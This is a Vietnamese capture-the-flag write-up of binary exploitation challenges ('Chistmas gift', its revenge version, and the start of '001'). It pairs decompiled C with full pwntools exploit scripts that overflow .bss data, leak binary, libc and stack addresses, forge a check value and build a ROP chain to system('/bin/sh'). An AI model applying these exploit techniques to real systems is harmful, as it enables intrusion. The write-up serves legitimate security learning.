puts("Invalid id");
break;
}
request_present(v4);
break;
case 2:
printf("Id: ");
__isoc99_scanf("%u", &v4);
getchar();
if ( v4 > 0xF || !qword_40A8[10 * v4] )
goto LABEL_14;
see_presents(v4);
break;
default:
goto LABEL_26;
}
LABEL_27:
check_handler();
}
LABEL_26:
puts("Invalid choice");
goto LABEL_27;
}
```
Menu:
```
int menu()
{
puts("1. Request Present");
puts("2. See Presents");
puts("3. Edit Presents");
puts("4. Call Santa to deliver presents");
return printf(">> ");
}
```
Edit present:
```
unsigned __int64 __fastcall edit_present(unsigned int a1)
{
char *v1; // rsi
int v3; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("Please enter your name: ");
fgets((char *)&presents + 80 * a1, 32, stdin);
printf("Please enter your address: ");
fgets((char *)&presents + 80 * a1 + 32, 32, stdin);
printf("Please enter your present: ");
fgets((char *)qword_40A8[10 * a1], 48, stdin);
printf("Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ");
v3 = 0;
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 == 1 )
{
while ( v3 )
{
printf("Please enter your address: ");
v1 = (char *)&presents + 80 * a1 + strlen((const char *)&presents + 80 * a1 + 32) + 32;
read(0, v1, 32u);
--v3;
}
}
return v4 - __readfsqword(0x28u);
}
```
request present:
```
int __fastcall request_present(unsigned int a1)
{
if ( a1 > 0xF )
return puts("Invalid index");
printf("Please enter your name: ");
fgets((char *)&presents + 80 * a1, 32, stdin);
printf("Please enter your address: ");
fgets((char *)&presents + 80 * a1 + 32, 32, stdin);
if ( a1 == 15 )
qword_40A8[149] = 0;
else
*((_QWORD *)&unk_40A0 + 10 * a1) = ((_QWORD)&presents + 80 * a1 + 80) << 8;
qword_40A8[10 * a1] = malloc(48u);
printf("Please enter your present: ");
fgets((char *)qword_40A8[10 * a1], 48, stdin);
return puts("Your present is on the way!");
}
```
See present:
```
int __fastcall see_presents(unsigned int a1)
{
printf("Present %d:\n", a1);
printf("Reciever: %s", (const char *)&presents + 80 * a1);
printf("Address: %s", (const char *)&presents + 80 * a1 + 32);
return printf("Present: %s", (const char *)qword_40A8[10 * a1]);
}
```
check hander:
```
char *check_handler()
{
char *result; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 14; ++i )
{
result = (char *)qword_40A8[10 * i];
if ( result )
{
result = (char *)&presents + 80 * i + 80;
if ( (char *)(*((_QWORD *)&unk_40A0 + 10 * i) >> 8) != result )
{
puts("Present Corrupted! Satan is coming to you!");
exit(1);
}
}
}
return result;
}
```
-Đọc qua code thì ta sẽ nhận thấy nếu v3=1337 thì nó sẽ gọi thẳng hàm santa luôn

Mà khi xem qua các tên hàm thì có hàm call me là hàm win

Thì mục tiêu chung của bài này là nếu mà ta có thể ghi đè địa chỉ hàm santa thành hàm call_me(win) thì khi nhập v3=1337 thì nó sẽ thực thi win lun thế là xong
-Ta thấy santa func là 1 hàm nằm trên bss

Nên ta có thể tính được khoảng cách từ nó đến các biến khác




Từ trên xuống dưới lần lượt là khoảng cách từ santa đến qword_40A8,unk40A0 và presents
Sau khi tính thì ta chỉ thấy mỗi presents là có khả năng vì khoảng cách giữa các biến kia so với santa là rất xa mà t nhìn điều kiện để hàm các hàm đều là a1 <0xf(15) nghĩa là max a1 chỉ có thể là 15 thay vào đó thì gần santa nhất chỉ có presents



Ta có thể thấy 2 biến kia chỉ có 10 * a1 mà max a1 cũng chỉ 15 nên dù có nhập thế nào cũng chẳng thể chạm đến được santa còn present thì tận 80
-Chỉ có 2 hàm có khả năng nhập là request và edit present hàm request thì gần như không thấy cơ hội vì nó dùng fgets đọc vào 2 lần 1 lần 31 byte vào present.Hàm edit khả nghi hơn vì ở dưới nó có lệnh read vào biến v1 và nếu đọc thật kĩ ta sẽ thấy bất thường ở chỗ này
```
v1 = (char *)&presents + 80 * a1 + strlen((const char *)&presents + 80 * a1 + 32) + 32;
```
-Ta có v1 là 1 biến chứa con trỏ đọc sơ qua thì chả thấy gì bất thường nhưng nếu đọc kĩ cụ thể là nếu ta chủ động quăng con số 32 ở cuối vào chỗ (char * )&presents + 80 * a1 thì nó sẽ dễ nhận biết lỗi hơn vì ý nghĩa của nó lúc này là v1=base present+32+strlen(...) =base present +32+31=base present+63 nghĩa là v1 đang chứa con trỏ trỏ đến base present+63 mà ở dưới còn read thêm 32 byte vào v1 nữa mà ta có khoảng cách giữa base present và santa là 80 mà 63+32=95 nghĩa là ta hoàn toàn có thể ghi đè lên santa thâm chí còn dư ra vài byte
-Dễ hiểu hơn là v1 đang chứa con trỏ trỏ đến base present+63 và khi ta read vào 32 byte thì nó sẽ bắt đầu read từ base+63 và read thêm 32 byte kể từ đấy
-Tới đây thì ta chỉ cần ghi đè 2 byte của santa bằng win là xong và ta có thể dùng brute force luôn vì 1.5 byte cuối luôn giống dù pie on và nếu brute force thì tỉ lệ sẽ là 1/16 vì có 0.5 byte cuối khác
-Nhưng cách đấy với bài này không khuyên dùng vì bài này có thể leak .Mọi dòng code đều có ý nghĩa và mục đích riêng và bài này còn rất nhiều cái mình chưa sài đến chẳng hạn như hàm see present hay check hander hay còn những dòng code trông khá lạ và khả nghi

-Chẳng hạn như cái điều kiện trên nếu ta thử cho 1 số khác 15 thì sao.Cái else có thể hiểu nôm na là nếu a1 khác 15 thì unk40A0 sẽ lưu con trỏ trỏ đến địa chỉ của base present+80 nghĩa là 1 địa chỉ trên binary và bài này mình cần leak binary và qua tính toán thì ta cũng thấy unk40A0 ấy sẽ cách 64 byte so với present nghĩa là việc leak nó ra là hoàn toàn có thể

-Nhưng có 1 vấn đề nghiêm trọng là fgets nó sẽ tự thêm 1 byte null vào cuối chuỗi nhập và bạn có nhớ là hàm edit ở trên có thể tận dụng để ghi đè không cụ thể là còn dư dả lun ấy nhưng ta phải thiết lập lại sao cho chuỗi nhập vào của ta vừa khít khiến từ base present đến biến unk kia không có null là ta sẽ dùng hàm see present để leak được vì see present in ra bằng printf nên ta có thể leak được
-Sau khi leak được ta sẽ tìm được binary base sau đó lấy cái binary base đấy cộng cho offset đến win và lọc lấy 2 byte cuối để ghi đè
-Lúc này ta đã có được 2 byte cuối chính xác của win mà không cần brute force rồi giờ chỉ cần ghi đè là ra flag
Full script:
```
#!/usr/bin/python3
from pwn import*
exe=ELF('./chall',checksec=False)
p=process(exe.path)
p.sendline(b'1')
p.sendline(b'0')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendline(b'3')
p.sendline(b'0')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'\n')
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'1')
p.sendafter(b'Please enter your address: ',b'D'*32)
p.sendline(b'2')
p.sendline(b'0')
p.recvuntil(b'D'*32)
leak=u64(p.recv(6)+b'\0'*2)
base=leak-(0x4060+80)
win=base+0x12c9
haibyte=p64(win)[0:2]
log.info('binary leak :'+hex(leak))
log.info('binary base :'+hex(base))
log.info('win adr :'+hex(win))
input()
p.sendline(b'1')
p.sendline(b'15')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendline(b'3')
p.sendline(b'15')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*17+b'\n')
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'1')
p.sendafter(b'Please enter your address: ',b'D'*30+haibyte)
p.sendline(b'1337')
p.interactive()
```
### Chistmas gift revenge
Source code:
Main:
```C
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-10h] BYREF
unsigned int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(&presents, 0, 0x500u);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
if ( v4 == 4 )
break;
if ( v4 > 4 )
goto LABEL_23;
switch ( v4 )
{
case 3:
printf("Id: ");
__isoc99_scanf("%u", &v5);
getchar();
if ( v5 > 0xF || !qword_40A8[10 * v5] )
goto LABEL_12;
edit_present(v5);
break;
case 1:
printf("Id: ");
__isoc99_scanf("%u", &v5);
getchar();
if ( v5 <= 0xF && qword_40A8[10 * v5] )
{
puts("Present exists");
break;
}
if ( v5 > 0xF )
{
LABEL_12:
puts("Invalid id");
break;
}
request_present(v5);
break;
case 2:
printf("Id: ");
__isoc99_scanf("%u", &v5);
getchar();
if ( v5 > 0xF || !qword_40A8[10 * v5] )
goto LABEL_12;
see_presents(v5);
break;
default:
LABEL_23:
puts("Invalid choice");
break;
}
check_handler();
}
puts("Merry Christmas! Santa is coming!");
return 0;
}
```
Menu:
```C
int menu()
{
puts("1. Request Present");
puts("2. See Presents");
puts("3. Edit Presents");
puts("4. Call Santa to deliver presents");
return printf(">> ");
}
```
edit:
```C
unsigned __int64 __fastcall edit_present(unsigned int a1)
{
char *v1; // rsi
int v3; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("Please enter your name: ");
fgets((char *)&presents + 80 * a1, 32, stdin);
printf("Please enter your address: ");
fgets((char *)&presents + 80 * a1 + 32, 32, stdin);
printf("Please enter your present: ");
fgets((char *)qword_40A8[10 * a1], 48, stdin);
printf("Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ");
v3 = 0;
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 == 1 )
{
while ( v3 )
{
printf("Please enter your address: ");
v1 = (char *)&presents + 80 * a1 + strlen((const char *)&presents + 80 * a1 + 32) + 32;
read(0, v1, 0x20u);
--v3;
}
}
return v4 - __readfsqword(0x28u);
}
```
Request:
```C
int __fastcall request_present(unsigned int a1)
{
if ( a1 > 0xF )
return puts("Invalid index");
printf("Please enter your name: ");
fgets((char *)&presents + 80 * a1, 32, stdin);
printf("Please enter your address: ");
fgets((char *)&presents + 80 * a1 + 32, 32, stdin);
if ( a1 == 15 )
qword_40A8[149] = 0;
else
*((_QWORD *)&unk_40A0 + 10 * a1) = ((_QWORD)&presents + 80 * a1 + 80) << 8;
qword_40A8[10 * a1] = malloc(48u);
printf("Please enter your present: ");
fgets((char *)qword_40A8[10 * a1], 48, stdin);
return puts("Your present is on the way!");
}
```
See:
```C
int __fastcall see_presents(unsigned int a1)
{
printf("Present %d:\n", a1);
printf("Reciever: %s", (const char *)&presents + 80 * a1);
printf("Address: %s", (const char *)&presents + 80 * a1 + 32);
return printf("Present: %s", (const char *)qword_40A8[10 * a1]);
}
```
Check handler:
```C
char *check_handler()
{
char *result; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 14; ++i )
{
result = (char *)qword_40A8[10 * i];
if ( result )
{
result = (char *)&presents + 80 * i + 80;
if ( (char *)(*((_QWORD *)&unk_40A0 + 10 * i) >> 8) != result )
{
puts("Present Corrupted! Satan is coming to you!");
exit(1);
}
}
}
return result;
}
```
-Bài này có thể nói là y chang bài trên nhưng chỉ là không có hàm win và santa func để ta ghi đè nên ta phải chọn hướng đi khác
-Bài này có file libc không hẳn ta luôn luôn phải dùng ret2libc nhưng cũng có thể cân nhắc.Với bài này khi ta nhập dữ liệu thì nó sẽ là nhập dữ liệu vào bss chứ không phải stack mà muốn dùng ret2libc thì phải ghi đè lên save rip để truyền rop chain của mình vào đấy nhưng không phải thế mà ta bỏ cuộc nếu ta đọc kĩ ta sẽ thấy rằng có 1 biến sẽ lưu địa chỉ và dùng nó như pointer là biến qword
-Mà 1 biến khi lưu con trỏ thì khi fgets để đọc dữ liệu nó sẽ đọc vào vùng nhớ mà biến đấy trỏ đến và in ra thì cũng sẽ là in ra dữ liệu mà biến đấy trỏ đến
` qword_40A8[10 * a1] = malloc(48u);`
Trong hàm request ta có lệnh này nó nghĩa là yêu cầu được cấp phát 1 vùng nhớ 48 byte và sẽ lưu địa chỉ của vùng nhớ đấy vào phần tử thứ 10 * a1 của mảng mà 1 phần tử của mảng này có 8 byte từ đó ta sẽ tính toán được vị trí cụ thể
`return printf("Present: %s", (const char *)qword_40A8[10 * a1]);`
Đây là 1 lệnh trong hàm see present nó nghĩa là khi chạy xong hàm nó sẽ return bằng việc in ra chuỗi kí tự và nó ép kiểu qword thành (const char*) nghĩa là 1 mảng mà trong đó các phần tử của nó đều được coi là các con trỏ nên khi in ra dữ liệu tại phần tử nào thì nó sẽ nhảy vào địa chỉ mà phần tử đấy trỏ đến để in ra chuỗi kí tự đến khi gặp byte null
-Vậy có phải nếu ta thay pointer qword này thành save rip thì rõ ràng là mình có thể ghi đè lên save rip và ta chỉ cần truyền rop chain của mình vào là được không
=>Hướng ret2libc là có vẻ khả thi còn muốn biết có thực sự làm được không thì phải giải mới biết được
-Vì bài này dữ liệu ta chỉ có thể ghi vào trên bss nên ta phải tận dụng triệt để dữ liệu để leak ra được thứ mình muốn.Với bài này thì giờ mún đổi pointer thành save rip thì phải có được save rip mà mún có save rip thì phải leak được stack nhưng mà đọc qua code thì ta không có biến nào và lệnh nào thiết lập để nó lưu 1 địa chỉ trên stack nhưng ta có thể tận dụng 1 biến có tên **environ** trên libc.
-**Environ** là 1 biến trên libc và nó lưu 1 địa chỉ trên stack.Đây là 1 kiến thức mới mà mình có thể tận dụng khi thao tác trên bss nơi mà việc leak dữ liệu bị giới
-Mún có được environ thì phải leak được libc mà giờ leak thì chỉ có 1 đường là leak bằng hàm see present vậy đọc kĩ hàm see xem có gì đặc biệt không.Tất nhiên là mình cũng chẳng có hàm hay biến nào lưu giá trị của libc nên mình buộc phải tìm cái nào mà in ra dữ liệu tại nơi được con trỏ trỏ đến
```C
printf("Present %d:\n", a1);
printf("Reciever: %s", (const char *)&presents + 80 * a1);
printf("Address: %s", (const char *)&presents + 80 * a1 + 32);
```
Printf đầu sẽ chỉ là in ra giá trị của a1;nó chẳng có gì đáng khả nghi
Prinf thứ 2 và 3 cũng chỉ là in chuỗi kí tự từ 1 địa chỉ cụ thể nên cũng chẳng thỏa mãn
`printf("Present: %s", (const char *)qword_40A8[10 * a1]);`
Lúc đầu bài ta đã phân tích là nó sẽ in ra dữ liệu mà pointer qword trỏ đến nên nó chính là thứ mình cần tìm.Vậy bây giờ cần phải tìm 1 cái gì đó có sẵn mà nó trỏ đến libc vì chả có hàm biến hay lệnh nào làm cho có 1 con trỏ mà trỏ đến libc cả
=>Chính là GOT vì got là 1 bảng các hàm có sẵn được chương trình sử dụng và sau lần đầu tìm xem các hàm đấy là các hàm nào thì nó sẽ lưu vào 1 bảng nằm trên binary và các lần sau khi dùng thì nó sẽ lấy thẳng từ bảng đấy dùng cho nhanh mà không cần phải đi tìm.Đặc biệt là nó nằm trên binary nhưng nó trỏ đến libc và đây là thứ mà ta cần
-Hình dung lại tư duy:cần save rip->phải leak stack->dùng environ của libc->leak libc
->dùng got->leak binary
Vậy giờ ta cần phải kiếm cách leak binary
```C
if ( a1 == 15 )
qword_40A8[149] = 0;
else
*((_QWORD *)&unk_40A0 + 10 * a1) = ((_QWORD)&presents + 80 * a1 + 80) << 8;
```
Ở request ta có 1 điều kiện như này vậy nghĩa là ta cho id bé hơn 15 thì là biến unk j đấy sẽ bằng base present+80 dịch trái 8 bit mà base present+80 là 1 địa chỉ nằm trên bss thì nó là 1 địa chỉ binary vậy nghĩa là ta có thể tận dụng nó để leak được binary rồi
* Xâu chuỗi tư duy:cần save rip->phải leak stack->dùng environ của libc->leak libc
->dùng got->leak binary->leak dữ liệu biến unk khi id bé hơn 15
-Vậy giờ ta đến với bước đầu tiên là leak dữ liệu biến unk khi id bé hơn 15
+Giống như bài trên ta có thể ghi tràn dữ liệu ra bên ngoài thông qua hàm edit từ hàm present mà có khoảng cách của present và biến unk là 64 byte và ta muốn leak dữ liệu của unk và ta có in present 2 lần.1 lần là từ base present và 1 lần từ base present+32.Thì rõ ràng là việc làm chuỗi từ base present +32 đến unk không có null sẽ dễ hơn vì đơn giản là khoảng cách giữa chúng ngắn hơn
```C
printf("Reciever: %s", (const char *)&presents + 80 * a1);
printf("Address: %s", (const char *)&presents + 80 * a1 + 32);
```
```c
.bss:0000000000004060 presents db ? ; ; DATA XREF: request_present+55↑o
.bss:00000000000040A0 unk_40A0 db ? ; ; DATA XREF: request_present+F4↑o
```
+Bug tại edit khiến ta có thể nhập vào 94 byte mà khoảng cách từ base present+32 đến unk là 32 byte vậy ta có thể tinh chỉnh theo nhiều cách để nó lập đầy khoảng trống này.Và mình thì làm như này
ở address nghĩa là base present+32 mình nhập thẳng byte xuống dòng(\n) để nó end hàm fgets(dừng khi đủ len-1 hoặc gặp byte xuống dòng) luôn thì lúc này strlen sẽ bằng 1(strlen chỉ dừng khi gặp byte null) và hàm read sẽ bắt đầu đọc từ base present+32 đọc thêm 32 byte nữa là vừa đủ lấp đầy khoảng trống còn nếu muốn chắc chắn thì cách tốt nhất là debug để xem nó in ra cái gì nó ghi đè tới chỗ nào dư thiếu ra sao
-Ta hiểu như này đang ở base present+32 thì nhập vào 32 byte nghĩa là lúc nào nó đang trỏ tới base present+64 nhưng chưa nhập byte thứ 64 mà unk bắt đầu ở byte thứ 65 nên cái byte xuống dòng của ta sẽ lấp vào đấy là vừa đủ vào cho không còn null và ta sẽ leak được

Ta có thể thấy 2 dữ liệu lạ ở dưới và đó chính là 1 unk và 1 qword dù ta thấy nó bị lệch 1 byte xuống ô phía dưới nhưng đó không phải sai mà là do cấu trúc của nó vốn là vậy
=>Vậy là ta đã leak được 1 địa chỉ binary giờ thì tính binary base thôi
-Ta có địa chỉ leak ra là base present+80 vậy thì ta chỉ cần lấy địa chỉ đó trừ cho base present(0x4060+80 * id)+80 là sẽ ra được base binary
`Địa chỉ leak ra-(0x4060+80*a1+80)`
Script:
```c
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Id: ',b'0')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Id: ',b'0')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'\n')
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'1')
p.sendafter(b'Please enter your address: ',b'D'*32)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Id: ',b'0')
p.recvuntil(b'D'*32)
leak=u64(p.recv(6)+b'\0'*2)
base=leak-(0x4060+80)
log.info('base present+80 :'+hex(leak))
log.info('base :'+hex(base))
```
Khi chạy nó sẽ leak ra kiểu như này

-Tiếp theo ta sẽ tận dụng GOT để leak libc bằng cách thay pointer từ địa chỉ 1 vùng nhớ được cấp phát trên heap thành địa chỉ GOT
:::info
Vì fgets hay printf gì thì đều là đọc và in ra dữ liệu của nơi mà pointer trỏ đến nên cách duy nhất để thay đổi pointer là ta dùng tràn dữ liệu để ghi đè lẻn từ ngoài để ghi đè vào pointer
:::
Vì đã có binary base nên ta chỉ cần chọn 1 got và tính offset từ nó đến binary và ta có được địa chỉ của got đấy rồi và bài này mình chọn PUTS GOT

=>Ta có `putgot=binary base+0x3f78`
:::danger
Ta nên chọn id khác nhau ở mỗi lần vì nếu chọn lại id cũ thì ta phải đè lên những dữ liệu cũ và tỉ lệ gặp lỗi là rất cao
:::
:::warning
Bạn có nhớ trong hàm request có 1 điều kiện là
`*((_QWORD *)&unk_40A0 + 10 * a1) = ((_QWORD)&presents + 80 * a1 + 80) << 8;`
Hàm checkhandler là 1 hàm dùng để kiểm tra dữ liệu của dòng này có bị thay đổi hay không và hàm unk nằm ngay sau present còn pointer thì nằm ngay sau unk vậy nên muốn ghi đè pointer thì buộc phải đè qua unk mà ta có hàm checkhandler này chỉ kiểm tra từ 0 đến 14 nên ta có thể tận dụng id là số 15 được 1 lần để vượt qua cơ chế này
:::
Lần đầu mình dùng id là 0 và lần này mình dùng id là 15.Ta có khi nhập đủ 31 byte ở cả 2 lần nhập vào present thì base present+64 là 1 byte null do cơ chế của fgets tự thêm và byte tiếp theo ta nhập thì sẽ ghi đè thẳng lên byte null đấy nên ta nhập 1 byte rác vào.8 byte tiếp theo là byte của unk nhưng vì mình chọn checkhandler là 15 nên ta có thể cho 8 byte này là 8 byte rác.Tiếp theo là nhập got mà mình tìm được vào pointer.Vậy tổng kết là tại read ta sẽ nhập 9 byte rác và 8 byte của putgot và vì nhiêu là chưa đủ 32 byte nên ta dùng sendline.
=>Thế là ta đã đè pointer thành putgot thành công rồi việc bây giờ là vào hàm see để nó in ra 1 địa chỉ trên libc
Script:
```c
putgot=base+0x3f78
log.info(' put got :' +hex(putgot))
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Id: ',b'15')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Id: ',b'15')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'1')
p.sendlineafter(b'Please enter your address: ',b'Z'*9+p64(putgot))
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Id: ',b'15')
p.recvuntil(b'Present: ')
libc_leak=u64(p.recv(6)+b'\x00'*2)
libc.address=libc_leak-0x80e50
log.info("leak :" + hex(libc_leak))
log.info('libc base :'+hex(libc.address))
```
Lúc này dữ liệu sẽ được leak ra như sau:

```
environ=libc.sym['environ']
log.info('environ :'+hex(environ))
```
=>Sau khi đã có được environ thì ta dùng cách tương tự như leak libc để leak được stack nhưng lúc này ta cần phải bypass được checkhandler vì lúc này ta phải chọn id khác 15
-Ta có checkhandler thật ra cũng chỉ kiểm tra base present+80 và biến unk có bằng nhau không thôi nhưng mà ta đã có binary base thì ta có thể dễ dàng tính được địa chỉ của base present+80 dựa trên id nhưng mà trong lệnh nó còn dịch trái 8 bit nữa thì lúc này ta cũng dịch trái 8 bit như nó luôn
Mình chọn id lúc này là 1 thì `checkhandler=(base+0x4060+160)<<8`
ta ghi thẳng dịch trái 8 bit vào đây luôn và lúc ghi đè thì thay vì ghi đè 9 byte rác thì ta sẽ ghi đè 1 byte rác và 8 byte của checkhandler và 8 byte của environ
Scipt:
```c
environ=libc.sym['environ']
log.info('environ :'+hex(environ))
checkhandler=(base+0x4060+160)<<8
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Id: ',b'1')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Id: ',b'1')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'1')
p.sendlineafter(b'Please enter your address: ',b'Z'+p64(checkhandler)+p64(environ))
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Id: ',b'1')
p.recvuntil(b'Present: ')
stack_leak=u64(p.recv(6)+b'\0\0')
log.info('stack leak :'+hex(stack_leak))
```
=>Có được địa chỉ stack rồi lúc này ta sẽ debug để tính được save rip ta có thể tính thẳng khoảng cách từ cái mà environ leak ra đến save rip luôn
-Ta nên chọn lúc gần kết thúc hàm để có được 1 stack chuẩn xác nhất vì save rip sẽ tăng giảm địa chỉ phụ thuộc vào việc có đưa thêm dữ liệu vào stack hay không

=>Thế là ta đã có được save rip;giờ thì ta getshell thôi
Ý tưởng getshell của ta sẽ là ghi đè pointer bằng save rip và nhập rop chain của mình vào.Vậy thì ta sẽ chọn 1 id khác để nhập ghi đè pointer thành save rip và nhớ là tính toán checkhandler trước nhé sau đó ta sẽ tiếp tục nhảy vào hàm edit để ghi chuỗi rop chain mình vào thông qua qword
+Chuỗi ropchain sẽ gồm có 1 địa chỉ ret bất kì để tránh làm lệch stack dẫn tới stack align,1 địa chỉ pop rdi,chuỗi /bin/sh và 1 lệnh system
-Ret bất kì thì ta có thể chọn ret của main tính offset đến binary base là xong rồi còn pop rdi thì mình có thể kiếm bằng lệnh `ROPgadget --binary tenfile | grep 'pop rdi'`.Các file có thể tìm kiếm là file binary gốc,file binary patched hoặc file libc và thường thì pop rdi sẽ nằm trong file libc;mà ta đã có libc rồi thì chỉ lấy libc base+offset tới đấy là xong;chuỗi /bin/sh thì dùng lệnh `p64(next(libc.search(b'/bin/sh')))` để nhờ libc kiếm dùm luôn.Còn system thì dùng `p64(libc.sym['system'])`
-Giờ thì ta chỉ cần send dữ liệu vào là xong
Scipt:
```c
checkhandler=(base+0x4060+80*2+80)<<8
pop_rdi=libc.address+0x2a3e5
binsh=p64(next(libc.search(b'/bin/sh')))
system=p64(libc.sym['system'])
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Id: ',b'2')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Id: ',b'2')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendafter(b'Please enter your present: ',b'C'*47)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'1')
p.sendlineafter(b'Please enter your address: ',b'Z'+p64(checkhandler)+p64(save_rip))
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Id: ',b'2')
p.sendafter(b'Please enter your name: ',b'A'*31)
p.sendafter(b'Please enter your address: ',b'B'*31)
p.sendlineafter(b'Please enter your present: ',p64(base+0x1af5)+p64(pop_rdi)+binsh+system)
p.sendlineafter(b'Wanna double-check the address for exactly delivery? (1 = Yes | 2 = No): ',b'0')
```
Ở khúc cuối của edit thì ta có thể chọn 1 số khác 1 để không double check mà end hàm luôn cho lẹ hoặc ta chọn double check và nhập null vô hàm read cũng được miễn là không ghi đè lên gì là được
### 001 (kazuke)
Source code:
-Main
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
char name[9]; // [rsp+17h] [rbp-99h] BYREF
char passwd[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v7; // [rsp+A8h] [rbp-8h]
v7 = __readfsqword(0x28u);
init();
gen_passwd(backup_passwd, 40u);
printf("Account: ");
read_line(0, name, 9u);
printf("Account: ");
printf(name);
putchar(10);
printf("Password: ");
read_line(0, passwd, 128u);
v3 = strlen(backup_passwd);
if ( !strncmp(passwd, backup_passwd, v3) )
{
write_passwd(passwd);
}
else
{
puts("Password is: 123456789");
puts("You are not an administrator");
puts("Do you want to be a pwn player???");
puts("Watch video: https://youtu.be/BSbYN8srw7U?si=q_eH4ZNipi74lLO8");
puts("Bye bye =)");
}
return 0;
}
```
-Write_passwd:
```c
int __cdecl write_passwd(char *passwd)
{
char cmd[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v3; // [rsp+A8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Password: ");
printf(passwd);
putchar(10);
if ( open("admin", 577, 420) >= 0 )
{
snprintf(cmd, 128u, "echo \"%s\" > admin", backup_passwd);
system(cmd);
return 0;
}
else
{
perror("open");
return 1;
}
}
```
-Gen pass
```c
void __cdecl gen_passwd(char *out, size_t len)
{
size_t v2; // rax
int v3; // ebx
__pid_t v4; // eax
size_t passlen; // [rsp+10h] [rbp-30h]
size_t i; // [rsp+18h] [rbp-28h]
size_t clen; // [rsp+28h] [rbp-18h]
clen = strlen("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");
v2 = len;
if ( !len )
v2 = 1;
passlen = v2 - 1;
if ( v2 - 1 > 0x10 )
passlen = 16;
v3 = time(0);
v4 = getpid();
srand(v3 ^ v4);
for ( i = 0; i < passlen; ++i )
out[i] = aAbcdefghijklmn[rand() % clen];
out[passlen] = 0;
}
```
-Win:
```c
void __cdecl win()
{
system("/bin/sh");
}
```
-Đọc sơ qua code thì có thể dễ dàng thấy được có 2 lỗi format string ở đây 1 lỗi ở hàm main và 1 lỗi ở hàm write_passwd


-Có hàm win nên vẫn sẽ là ý tưởng:
+1 là ghi đè 1 hàm thành win
+2 là ghi đè save rip thành win
-Giải thích sơ về code:Hàm genpass sẽ tạo ra 1 chuỗi password bất kì 16 byte với mỗi byte được lấy random từ tất cả các kí tự chữ và số
`(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789)`
-Đầu tiên hãy xem format string đầu giúp mình làm gì nhé


-Đây là stack và các thanh ghi tại chỗ có lỗi format string.Ta có thể thấy trên stack có nơi chứa con trỏ đến chuỗi pass
=>Ta có thể leak được pass
-Sau đó nhập pass vào readline ở dưới là mình có thể thỏa mãn điều kiện của strncmp để vào hàm write_passwd rồi.Mục đích vào hàm này là vì tại đây có lỗi format string thứ 2
